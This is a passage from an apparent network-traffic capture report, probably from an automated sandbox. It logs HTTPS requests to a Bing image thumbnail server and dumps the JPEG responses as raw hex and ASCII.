2c de 6e 9d 48 a8 d4 9f c4 bd 36 e5 ed 7b dd 93 52 Data Ascii: ;%U6izukA{GwIwmz_uO,\|XgW4r[$1yq>?U}jX6!k4kVR=$j+;^fI,H-tZ6S?V`>m\|6$I7S_+k_1>$'5F,nH6{R
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: b1 c7 be 3f dd 6c 9a 39 5b f8 ab 8e 93 5a f1 67 89 74 fb 6f b7 4d f6 7b 1b 38 fc b8 e4 96 5d 90 fc bf 7b e6 fb d4 df f6 96 7d 80 96 1f 13 56 36 52 d5 b4 95 97 44 92 dc 6e 30 a3 55 4a dd 15 8f 4c f8 95 ae c9 6f a1 df 7d 8b 47 bb 8e 0b 98 fc 88 e5 b6 95 2d e2 8f fd fd df c5 58 df 03 e0 f1 4d c4 df da fa bc da 8d c5 8f 97 ff 00 1e df 23 c3 27 fd f3 5c 54 1e 21 d2 6e 2e ec 60 d6 e1 bb 8e c7 cc ff 00 59 f6 b7 74 93 fe 07 cd 7a b7 f6 d5 bd 95 9c 73 c1 0e a1 1e 9b e5 fe f3 cb 97 f7 32 7f df 5c d7 9d 99 e0 a5 96 60 16 0a 14 af 29 ef 27 e5 a5 a3 e6 fa fc 8d 63 59 d6 9d d6 85 7b 89 74 4d 33 c5 12 5d 5e c3 34 73 7f cb bd bd f6 9e 89 e4 23 7c db 19 76 e1 fd ab 92 f8 c7 a3 c7 e1 fb cb 6f 19 78 32 cf 4f b7 fb 67 ee ef 6c a3 d8 96 df 37 f1 2a e6 ba 3f 89 53 e9 be 2d d3 Data Ascii: ?l9[ZgtoM{8]{}V6RDn0UJLo}G-XM#'\T!n.`Ytzs2\`)'cY{tM3]^4s#\|vox2Ogl7*?S-
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 97 1b fe cd 24 51 79 d0 dd fc ff 00 c3 fe 0d 5c 3f 8f 27 4f 26 38 6e a6 f2 ef bf e5 9f 9b 17 c9 e5 7f bd 5e d7 0b c5 ac 54 9f 2d e9 4b 48 af 9d f7 eb 6e bd 8c 2b a6 e4 9b 5a bd cd cf 85 da 9f 83 21 bc b9 fb 55 9d a5 95 f7 96 fe 56 a5 27 f9 f9 1a b4 6f b5 eb ff 00 10 78 ca 38 34 7f 3a e6 ee 39 7f e5 a4 a9 e4 ff 00 f6 15 e4 16 37 32 45 a8 6c fd cf fd 34 f3 7e 44 ff 00 be bf 86 bd 27 e0 cb a4 3e 28 b9 ba 48 7e d1 27 c9 04 92 7d fb 7f 29 ff 00 87 fd ea f6 b3 ac a2 96 06 35 b1 b2 f7 df 2e 89 ea bf ce de 57 3a 30 b8 9b d3 74 dc 74 3d 6e de 5f 1c 5c 78 4f ec da a6 9b 14 77 d6 f2 79 91 c9 2f 92 fe 62 ff 00 77 6d 70 ff 00 15 75 0d 17 5a f0 6c 73 bc d1 49 7d a7 5c a4 77 3f e8 bb 1e 06 ff 00 75 b9 ae c2 df c4 76 8f 0d f6 91 1c b3 59 c7 a7 47 b3 cc f2 bf 75 1c bf f4 Data Ascii: $Qy\?'O&8n^T-KHn+Z!UV'ox84:972El4~D'>(H~'})5.W:0tt=n_\xOwy/bwmpuZlsI}\w?uvYGu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49756	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:27 UTC	346	OUT	GET /th?id=OADD2.10239399227832_1H50M59UCFXT0F6VT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:28 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 416508 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: C5600DCD50DB423D8865863E42CCF3E6 Ref B: EWR30EDGE1120 Ref C: 2024-11-27T10:14:27Z Date: Wed, 27 Nov 2024 10:14:27 GMT Connection: close
2024-11-27 10:14:28 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 32 20 31 30 3a 35 38 3a 33 31 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 04 38 00 00 a0 03 00 03 00 00 00 01 07 80 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:02 10:58:318C
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: e8 8c 39 da 7b 9e e7 8a f4 df 04 6a be 19 83 4d 8e 1d 3c 2a 5b 41 18 54 66 fd da aa 8f af 41 f8 66 bc 3c 4d 26 dd d1 eb 73 53 4b 55 73 7a d7 50 86 7c 05 90 81 db a3 0f eb 52 ee e4 10 22 27 9e 76 81 c7 d4 1a e2 bc 49 f1 17 c0 56 d7 93 da 2c 77 17 97 50 73 22 5b 44 63 0b c6 41 2c fb 46 0f a8 cd 71 9a 8f c6 3b 31 e6 47 63 a1 df 47 b3 8c cd a8 06 0a 73 8e 9b 09 fc 73 5c 1c b3 5b ea 54 68 f3 6a a2 d1 ed 9f 2c b0 e2 58 d5 94 f0 46 72 3f 5a e7 7c 65 e1 4b 4d 67 49 7b 6d bf 2f 26 3f ef 42 d8 e0 a9 f4 f6 af 27 b9 f8 86 d7 37 2e 27 d3 14 c8 98 3b d6 62 72 a4 64 10 40 00 fe b8 ab 1a 4f 8f ee 65 60 f6 b6 e2 d9 83 72 05 c3 f4 f5 c1 18 3f 95 63 29 3e df 89 d5 4f 09 38 3b c6 47 1d e2 0b 1b 9d 2f 55 97 4f bb 8f 64 d0 39 0c 30 79 f4 23 3d 88 e6 a9 cc 85 1c 64 8d c7 b5 7a Data Ascii: 9{jM<*[ATfAf<M&sSKUszP\|R"'vIV,wPs"[DcA,Fq;1GcGss\[Thj,XFr?Z\|eKMgI{m/&?B'7.';brd@Oe`r?c)>O8;G/UOd90y#=dz
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 73 fb bb 8c 29 cf 63 d8 ff 00 4a ca 3f ca 85 fb e3 e7 c1 cf 5a 99 c1 4e 2e 2c aa 75 1c 26 a4 ba 1d e6 06 fc 1f bd ce 4d 4f 6a 0b c8 a3 a3 a8 25 3e b8 e9 f4 35 9b a3 de 0b eb 01 29 39 9a 31 b6 51 ea 47 f1 7e 35 76 de 5d 8c af bb 05 72 73 ef f5 af 06 70 71 6d 3d cf a2 84 94 92 92 d8 a1 ae 42 0b 19 53 85 7e 5b b7 23 ae 7e 95 99 70 a0 46 1b 76 72 49 fc 2b a6 9e cb ed 36 f2 32 95 21 b2 76 9f 5e e3 f1 15 cf 5e 0d 8a 54 63 d4 64 73 5d 58 7a 97 56 ec 4d 48 95 17 02 30 7a 91 91 8e 98 ab ba 4d e3 36 d8 25 2d b4 31 f2 ff 00 d9 3c 75 aa 04 fe ef 60 ea 0f 4a 4b 37 51 71 b9 bb 75 ff 00 eb 57 54 a2 a5 17 73 9d be 56 8e ae e5 54 c6 bb 81 0d 8d cd 8c 10 73 82 2b 07 c5 ca bf 60 52 3a a3 80 7d 71 8e 39 ef 5a 16 73 99 23 58 89 ce 46 07 af b0 eb eb 55 7c 48 9f f1 24 60 07 2a Data Ascii: s)cJ?ZN.,u&MOj%>5)91QG~5v]rspqm=BS~[#~pFvrI+62!v^^Tcds]XzVMH0zM6%-1<u`JK7QquWTsVTs+`R:}q9Zs#XFU\|H$`*
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 27 c8 71 8c e0 ff 00 3a 9a 3c 86 1c f2 06 4f d7 b5 0f 44 11 b4 a4 99 31 27 77 14 ec 92 a0 1e fc d4 60 ee 4c 0e f4 e0 46 ed bd 2b 26 8f 42 32 1c 33 b7 1f 9d 00 d2 b1 2a 4a 83 d7 8e bc 1a 66 e1 fe cd 2b 14 da 40 7e ef 1d 0d 43 23 63 23 9c fd 6a 46 90 8c 81 d0 8a af 3e 31 9e b5 71 47 35 69 5a 3a 11 c8 d9 27 d2 a2 7c 93 cb 52 e7 27 8f 5a 33 cf 1d 4d 74 2d 0f 2e 72 e6 dc 40 7e 5a 69 fb de b4 b9 3f a5 18 1b b1 9a 0c 9e c5 ed 37 02 d9 8f ab 7f 4a f4 3f 0b de a9 d1 f4 e4 77 01 5d 1a 36 04 0e 08 27 07 f1 af 3c b3 f9 6d d4 76 39 35 d5 f8 6b 74 9e 1f 3c ff 00 ab 90 81 d4 11 df ad 79 59 85 35 38 6b dc fa 9c aa 6e 16 4b b7 fc 13 af 90 14 60 7b e4 67 e9 4b 1e d6 3e 5b 9c 2b 64 02 7d 7d ea a6 8f 79 f6 bb 60 1b fd 6c 78 0f 91 d7 d1 87 d6 ad 3a 03 9f ef 67 23 ad 7c ec a2 Data Ascii: 'q:<OD1'w`LF+&B23*Jf+@~C#c#jF>1qG5iZ:'\|R'Z3Mt-.r@~Zi?7J?w]6'<mv95kt<yY58knK`{gK>[+d}}y`lx:g#\|
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 2b 26 60 f1 72 b6 a8 f4 d9 e2 b6 46 cb 6a 11 15 1c 0f 32 cf 92 07 3c 90 2a 38 ff 00 b3 b7 60 dc 69 ed 21 e7 71 b4 64 6f 6e 80 57 05 16 a3 38 6d 86 ee fa 31 c8 fb f9 1f 88 39 fc ea a5 d3 dd bf 29 a9 dc 70 49 dd cf 5f ca b5 8d 2f 33 92 58 8e d1 3d 2b 6d a0 6d ef 3d 8e e5 e7 3b 5c 0f f2 6a 4b 59 2c 4b 9c cd 6b 83 81 f2 87 3c 8f 63 da bc c6 19 35 f8 5b 10 ea ee ea 79 08 e0 63 19 e7 b7 41 5a 36 57 7a e4 a4 bc 1a c3 45 b4 72 46 d0 bc 76 e9 cd 68 a1 63 1f 69 7e 87 7a da 9c 70 4d e5 a1 ba 03 9c 04 b4 6d b9 07 38 04 8a 8a fa 66 94 f3 67 7d 76 58 12 03 7e ec 72 3d 49 c8 fc ab 95 f3 75 f6 de 9f f0 93 ca a0 e0 15 0a 0e 33 ef 8c d6 65 f6 81 79 77 f3 c9 e2 1b e9 8b 0c 90 cc 76 37 ea 39 fc 28 d1 15 ac b6 36 bc 41 a8 5d 44 85 a2 d2 ac d6 71 c0 59 ee c6 4f a7 4c 73 58 69 Data Ascii: +&`rFj2<*8`i!qdonW8m19)pI_/3X=+mm=;\jKY,Kk<c5[ycAZ6WzErFvhci~zpMm8fg}vX~r=Iu3eywv79(6A]DqYOLsXi
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: ae fd e4 54 d4 4f 94 ab f8 f1 4b a6 87 31 ee 60 14 93 c6 39 e3 fc 69 97 df bd 99 23 3d fd 2b 4a 14 48 ed 40 03 0a 2a 16 a4 ce 5c b4 d2 ea c6 5d 32 85 1f 99 ac eb c5 38 de 46 07 61 53 dd 16 7c c8 49 da 38 5c 71 9f 7a 82 74 f3 14 73 dc 12 3b d5 5c aa 2b 96 c4 b6 39 11 89 3a 31 e9 5d f7 84 2f 04 f6 6a 73 f3 0e 0f d6 b8 bb 6b 72 21 19 c0 c0 ad cf 08 4a 61 b9 31 93 f2 9e fd ab ab 07 57 d9 d6 4f a3 3c cc ce 0a ad 27 6d d1 df 59 1c 30 c7 7a bb 01 3e 69 3d 4d 66 69 6f e6 32 91 c8 ab f1 be 65 c0 4c e3 af f7 47 f8 d7 d8 d0 6e 56 b1 f1 15 95 9b 45 f8 50 b7 cd d0 0e a4 f4 a1 a7 5d a7 62 82 3d 4f f8 55 5b ab 96 6c 44 a7 0a 3b 0a 48 c9 db cd 77 69 d0 e3 e5 be ac a7 a9 dc cd 1b 60 47 19 f5 c8 3f e3 59 d7 fa 94 9e 59 41 6f 1a 9f 66 2b cf e0 47 f3 ad 8d 4a dd 65 8b 3d eb Data Ascii: TOK1`9i#=+JH@*\]28FaS\|I8\qzts;\+9:1]/jskr!Ja1WO<'mY0z>i=Mfio2eLGnVEP]b=OU[lD;Hwi`G?YYAof+GJe=
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 4d 67 1a 6e 4f 52 ea 57 8c 16 9a 96 75 6b db ab a9 19 e6 21 14 02 56 30 79 c0 ee 7b f1 fe 71 59 a6 3b bb c5 29 65 06 54 70 49 fb 83 dc 9a b7 6f 69 e4 30 7b b3 e7 30 23 f7 25 8f 03 be ef 53 fa 56 97 da b7 47 fb 84 c2 e7 01 50 00 17 1e b8 e9 ef 5d 71 8a 48 f3 65 37 27 ab 39 4b 9f 0b de 4b 27 ef f5 48 e2 07 9d 88 bb b2 71 d3 3c 66 88 3c 35 10 6c 3d e5 c3 fb 60 28 3c 75 ce 0d 6c 6a 5a bd 8d 92 ff 00 a5 5c c7 13 1e 78 c7 4f 51 9c 1f e7 59 77 3e 2d b0 47 09 1c 57 53 64 e0 bc 40 6d c7 af 20 67 f0 aa b3 b0 94 ac cb 10 e8 9a 5d ab 64 5b f9 84 74 2e 77 70 3b e0 f1 fa 55 89 42 14 1c 88 93 18 01 00 1c 0f f3 f8 d6 5c be 29 b6 b8 72 91 5a 5d 33 1e 81 17 a8 eb c9 a8 d6 f2 fa 44 1f e8 5f 65 dc 38 32 b0 67 eb e8 33 58 34 fa 9d b1 69 a2 d5 e7 97 17 ef 1e 40 aa bc 96 3c 56 Data Ascii: MgnORWuk!V0y{qY;)eTpIoi0{0#%SVGP]qHe7'9KK'Hq<f<5l=`(<uljZ\xOQYw>-GWSd@m g]d[t.wp;UB\)rZ]3D_e82g3X4i@<V
2024-11-27 10:14:28 UTC	16065	IN	Data Raw: 90 aa 07 52 7a 63 d6 ba 58 4a 1b 01 2b 95 11 92 59 cb 74 1c 72 4e 7b 10 3f 0a e6 3c 1d a6 af 8b bc 56 be 27 d5 6d 1a e3 49 b1 94 ff 00 63 da ee d8 6e 24 5f f9 6e 41 c0 21 7a 28 3d 4f 35 ae 03 06 f1 35 ad d1 6e 73 e2 71 2a 8c 1b ea 7a 17 ec fb e1 b9 bc 33 a3 49 e2 0d 6a db cc d7 75 84 0d 22 a8 dc 6c e2 ea 21 07 a0 3d 0b 11 d5 be 95 e9 d6 da c5 bd d2 6c 0e 24 27 82 8c a3 8f ce b8 9d 36 fd 9d 09 94 4a b1 b1 1b 94 8d 8c 0e 7f 88 7a d6 fd a8 b6 38 92 28 c3 37 ab 8e 4f d0 57 db 46 29 45 46 3a 23 e2 71 17 9d 47 39 ea d9 aa 8c 5d 9e 32 3e 65 27 01 7e 62 17 b6 47 06 ab 5f 5b 40 df 7e 78 d1 8f 66 ca 9f d6 a8 e9 7a 94 4f a9 dc 24 56 b7 22 48 1f 12 86 c1 2c 0f f1 0e 78 03 da ba 16 85 9e 00 e8 df 29 e4 86 ea 3d bd 6b 8f 97 56 8d 24 dc 1a 7d ce 37 55 d3 a2 76 62 67 8d Data Ascii: RzcXJ+YtrN{?<V'mIcn$_nA!z(=O55nsq*z3Iju"l!=l$'6Jz8(7OWF)EF:#qG9]2>e'~bG_[@~xfzO$V"H,x)=kV$}7Uvbg
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: e8 8b 1f 9b 33 95 db c0 03 ef 31 eb 8f 7f ad 43 21 92 e0 e1 86 c8 80 24 2a f4 38 f5 c7 53 4d 2d 4c 1b d3 41 f2 4a ee a6 2b 65 f2 d7 9c bf 72 3d 8f 61 50 b3 88 a3 f2 e2 e5 b9 cb 72 33 f4 a6 c9 29 3c 28 01 47 f4 f6 a9 ac 6d 5e ea e3 f7 9f 2a 03 f3 1e dc 7f 5a bd 12 22 d7 64 36 28 f3 12 48 50 aa 47 de e9 fe 35 a1 6d 6e c5 b0 a7 2d dc a8 e9 df 03 3d ff 00 3a b6 b1 41 0d a1 1b 57 19 c0 24 75 e3 bf f8 55 4b ab e7 1b a2 b7 5d e4 9f bc 3a 0f 4a cb 99 cd e8 69 14 a2 89 e4 96 38 dc 24 58 32 9e 8a 3a 2e 3b 9f 53 57 34 6d 26 4b bb a0 0a 19 64 ea cd db 3d f3 9e c2 a3 f0 4d 85 d5 dd d3 13 1e d5 03 99 1d 3a 9f 41 eb c7 35 db db 5b 5b d9 5b 62 29 04 6b c1 79 33 92 48 1d 73 d3 1f 4f d3 a9 ce 57 4e c6 97 5a 58 66 9f a7 5a e9 d1 83 29 26 60 09 0c 47 dd 1e de 9e 99 35 5f 5c Data Ascii: 31C!$8SM-LAJ+er=aPr3)<(Gm^Z"d6(HPG5mn-=:AW$uUK]:Ji8$X2:.;SW4m&Kd=M:A5[[[b)ky3HsOWNZXfZ)&`G5_\
2024-11-27 10:14:28 UTC	16384	IN	Data Raw: 78 23 95 99 0a a8 7f e1 27 8d c3 dc 7b d6 d2 de e6 5e a4 52 28 32 10 32 c0 b1 ce 7d b8 ab 52 66 3b 5c 1e 4a c5 db eb 55 54 ef 60 c7 38 24 92 3d f3 52 dd 3b b5 bc 9c e7 a0 03 8f 6a 17 63 09 2d 51 9e e3 1c e4 6e f6 ed 51 0c ee 04 e7 e5 c9 65 1c 1a 9a f0 01 1a e4 63 6e 77 1e 9d fb 54 6a 4a a1 c6 46 38 3f 43 5a 47 63 d1 f2 1b c2 91 97 c6 39 03 df fc 69 30 4c 98 6f a1 dd c8 eb 4f 97 ef 86 03 9e fd fd 81 a4 25 79 38 27 03 b7 7f 4a a4 67 2d 34 0d c4 4c 54 01 e9 93 f4 f4 fd 6a c5 ab 8e 01 1d 78 23 3d ea a6 15 a4 26 33 8c 73 d0 f1 53 42 e5 79 c7 bf 34 a4 ae 8c d4 ad 22 f7 57 cf f7 b8 cd 04 81 d4 73 9a 65 b9 0c a3 04 1c 0e b4 f9 9b 03 76 31 81 d7 b0 ae 6e b6 3b 2f a1 5f 50 94 18 4c 63 76 e3 81 d7 ad 6b 5f c2 81 62 40 9c 6c 1d 07 a7 1f d2 b9 bb 89 d6 5d 4a 28 c1 c8 Data Ascii: x#'{^R(22}Rf;\JUT`8$=R;jc-QnQecnwTjJF8?CZGc9i0LoO%y8'Jg-4LTjx#=&3sSBy4"Wsev1n;/_PLcvk_b@l]J(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49757	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-27 10:14:27 UTC	375	OUT	GET /th?id=OADD2.10239399227833_1SK6KZ1GIEW3FPGRG&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-27 10:14:28 UTC	861	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 359159 Content-Type: image/jpeg Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} X-Cache: CONFIG_NOCACHE Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 8F56210CCAA341438636AFA5D75F7AD3 Ref B: EWR30EDGE0318 Ref C: 2024-11-27T10:14:27Z Date: Wed, 27 Nov 2024 10:14:27 GMT Connection: close
2024-11-27 10:14:28 UTC	3853	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 39 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 34 3a 30 38 3a 30 32 20 31 30 3a 35 38 3a 30 32 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 25.9 (Windows)2024:08:02 10:58:028C
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: c5 c6 50 4e 30 6f 56 76 9e 07 b1 83 c3 56 7e 4f 87 ee 0d bd c3 80 2e 2e 5f 1b ae bd 98 e3 e5 19 fe 1e 9e e7 ad 76 16 3e 34 d4 6d 94 43 aa c2 ed c6 37 a0 07 23 dd 4f 04 7d 0d 71 ed a9 d8 49 37 97 a9 d8 35 9d c7 dd 69 ad f9 52 7d 0a 9c 0f c0 10 7d ab 52 cf ca 74 f2 44 b0 dd 45 81 84 1c 1c 7f ba 70 41 fa 62 bc c9 4a 4d dd b3 d0 8c 20 d1 d9 5a 6b ba 7d fc 41 c4 af 19 fe fc 38 91 07 fb ca 46 57 f0 c5 49 23 0b 8c ec 92 da ed 7f de da d8 fa 1c 81 f9 8a e1 24 d3 ed d5 f3 69 2b 43 20 3f 71 b3 c1 fa f5 fc ea 8e ad 77 ab 58 c8 0c b1 6e 19 f9 58 af 23 e8 c3 06 92 95 c8 71 71 3b ff 00 b2 da 79 80 3e 9e 55 bd 40 5c fe 60 f3 f9 54 37 b6 36 8d 90 03 2f fb 27 20 7f 23 5c 5d 8f 88 f5 11 6f 99 43 32 0e d9 2d 90 3d 88 27 f2 34 eb cf 15 c9 12 8c 89 15 78 20 15 da c3 3d 31 83 Data Ascii: PN0oVvV~O.._v>4mC7#O}qI75iR}}RtDEpAbJM Zk}A8FWI#$i+C ?qwXnX#qq;y>U@\`T76/' #\]oC2-='4x =1
2024-11-27 10:14:28 UTC	3808	IN	Data Raw: ee a1 b2 7f 23 83 5d 53 59 33 c7 be 34 59 14 f5 d9 ce 07 b8 3c 8a a3 36 97 0b 64 04 1b b1 c8 23 1f a8 a1 48 6e 07 36 34 cc 3e 24 42 a3 3c 6e 53 fc c6 69 b2 d8 48 8e 7c ad c5 b9 38 dd 9a e8 86 9e c8 84 c4 66 4f 5d b2 6e c7 e0 7b 54 32 5a 4a 5b 7a 4e 09 c7 fc b4 8f ad 52 91 1c 87 3a f1 4a 9f 7d 1b 8f f6 73 fa 55 69 61 85 d8 87 f9 78 1e a3 af d6 ba 66 b7 ba 0b 93 6f 14 84 1e 91 b1 1f fd 7a af 3c 6a 9c c9 6d 30 61 c9 e0 10 6b 58 c8 ca 51 39 eb 8d 39 4a e0 30 24 7d 2a bc 96 3e 5b 61 82 9f 4c f1 cd 6f 33 5b 3b 13 2c 6c a7 b1 31 0e 6a 9d c9 b2 0e df 38 da 07 cc 0a 90 73 9e 82 b4 53 64 38 a3 0e e2 cb 6f 0f 16 3e a4 e2 a9 b5 ac 61 48 60 ea 7a 8e 78 ad c7 9a c4 4c 50 5c 00 0f 63 9a 91 7e c9 28 20 5c 47 bb b7 ef 0f 3f a5 6c a6 d1 8b 8a 66 4e 9b 6a 8a 8d c1 6e 32 46 Data Ascii: #]SY34Y<6d#Hn64>$B<nSiH\|8fO]n{T2ZJ[zNR:J}sUiaxfoz<jm0akXQ99J0$}*>[aLo3[;,l1j8sSd8o>aH`zxLP\c~( \G?lfNjn2F
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: c5 cc 84 0c 1f c7 8f ce 9c d0 e5 82 8e a7 81 8e a7 f5 a7 db d8 bc 8e 40 e1 71 d3 b9 f7 f6 15 d7 78 a5 b9 ca ef 7d 89 ed a6 81 49 27 81 1f 7e c4 f6 03 d6 92 48 63 69 01 90 6f 62 72 ab ee 7d 45 2c a9 1d 98 00 7c ee 3e e8 c7 4f f7 47 f5 a9 e1 6d 90 f9 9b 0f 98 de bd 54 1e d5 8b 76 d5 15 6b e9 22 27 89 20 42 47 df fe 26 cf e9 f4 aa e8 92 3d d0 da 3e 5e a4 9f 4a 98 a1 94 e0 f7 23 91 8a 9c c5 12 46 54 48 37 0f 7c 51 cd 6f 51 da e4 33 00 aa 4f 63 91 9f 7a 6c 30 19 73 bc e1 47 38 20 f5 a7 6d 72 e4 76 5f 53 db f3 a7 33 88 70 37 64 37 a7 51 8a 2e ed a6 e3 b7 72 bd d2 2a aa b2 f4 e7 b8 18 fc 6a 94 ef f8 9c f5 15 72 e2 44 91 89 39 23 00 e2 b3 a4 25 72 c4 ff 00 5a de 9a ee 73 d4 95 88 a5 6d 8a 72 6a ab 3e 72 6a 59 7e 6e 7a fa d5 59 1b 0d c5 76 42 27 8d 88 a9 f7 0c 90 Data Ascii: @qx}I'~Hciobr}E,\|>OGmTvk"' BG&=>^J#FTH7\|QoQ3Oczl0sG8 mrv_S3p7d7Q.r*jrD9#%rZsmrj>rjY~nzYvB'
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: 5d 51 6c c1 70 cf b2 4c 6f 03 3b 50 e7 38 c7 23 3f 87 6a b3 a0 dc 35 ac 92 db a2 ca a8 0e f0 ad 18 0a b8 3c 80 41 38 3d f1 d0 d5 25 d5 22 97 67 9f 11 ce 71 e6 81 9e 9d 43 0e 08 f4 e7 ff 00 ad 56 ec 65 86 79 18 bc fe 59 40 54 b7 b1 c0 19 e7 df bd 44 b6 66 96 6d e8 6c 5c c7 67 7f 66 92 98 f7 ac 4e 24 1b 72 8e ac 0f 5c 7a f6 c7 43 55 e7 9e 36 5f dd 21 97 9d a4 06 39 e7 b6 08 c8 cf ad 51 59 e4 d3 2e 0a dd 4a e8 84 82 ad 80 54 03 d7 9c 7e 9f 5a b9 a7 db 20 92 7b e8 64 59 21 98 05 84 af a1 e4 93 9a e3 ad 57 d9 c1 b3 b2 8d 3f 6b 24 87 e9 5a 75 b5 b1 79 62 8c 79 92 67 cc 90 e0 b3 01 db 3e 95 a5 6e 02 a0 3c 16 c9 62 7a e0 8a 64 28 56 30 be 98 07 f1 ab 51 c0 b1 b3 22 0d aa 00 24 0f 52 72 4f e3 5e 2c e6 e4 ee d9 ed 42 2a 2a c9 0c d9 84 2d 8f 99 b2 4e 3b f6 15 26 9e Data Ascii: ]QlpLo;P8#?j5<A8=%"gqCVeyY@TDfml\gfN$r\zCU6_!9QY.JT~Z {dY!W?k$Zuybyg>n<bzd(V0Q"$RrO^,B**-N;&
2024-11-27 10:14:28 UTC	8192	IN	Data Raw: 9a 80 fd ec 0e f5 31 ee 6c f4 2d ee f3 2c 76 30 e5 0e 41 3d c5 49 a5 c2 af fb d2 71 e5 9c 85 c6 77 7b 7b 54 5a 66 64 26 2c 7e 3e 95 b3 f6 65 89 23 89 32 ca 40 f9 b6 e0 e7 d4 fa 7e 75 8d 49 28 7b a5 c7 55 72 25 13 bb 81 b1 bc b1 d0 67 8f a6 7d ea d3 83 24 c8 99 0d 8c 10 47 18 1f e0 39 14 eb 44 31 b6 e0 9d 78 52 0f 03 d4 e2 ac 25 9e 17 24 e0 9e 5c fe 3c 73 eb 5c 53 a8 ae 68 a3 71 26 0b 0a 0c 1e 3a 20 39 07 dc 9e c7 34 d5 95 03 05 90 8d e4 02 c3 07 01 7d 01 ee 6a 3b 89 0c 99 59 be e8 20 05 61 c1 3d ba 7a 54 24 aa 4a 3f 89 47 2a 32 30 4f b7 d2 a5 46 eb 50 e6 d4 9e 58 15 27 3e 57 23 ae 1b 19 e9 9c 0c fa 55 95 b7 01 16 28 fe 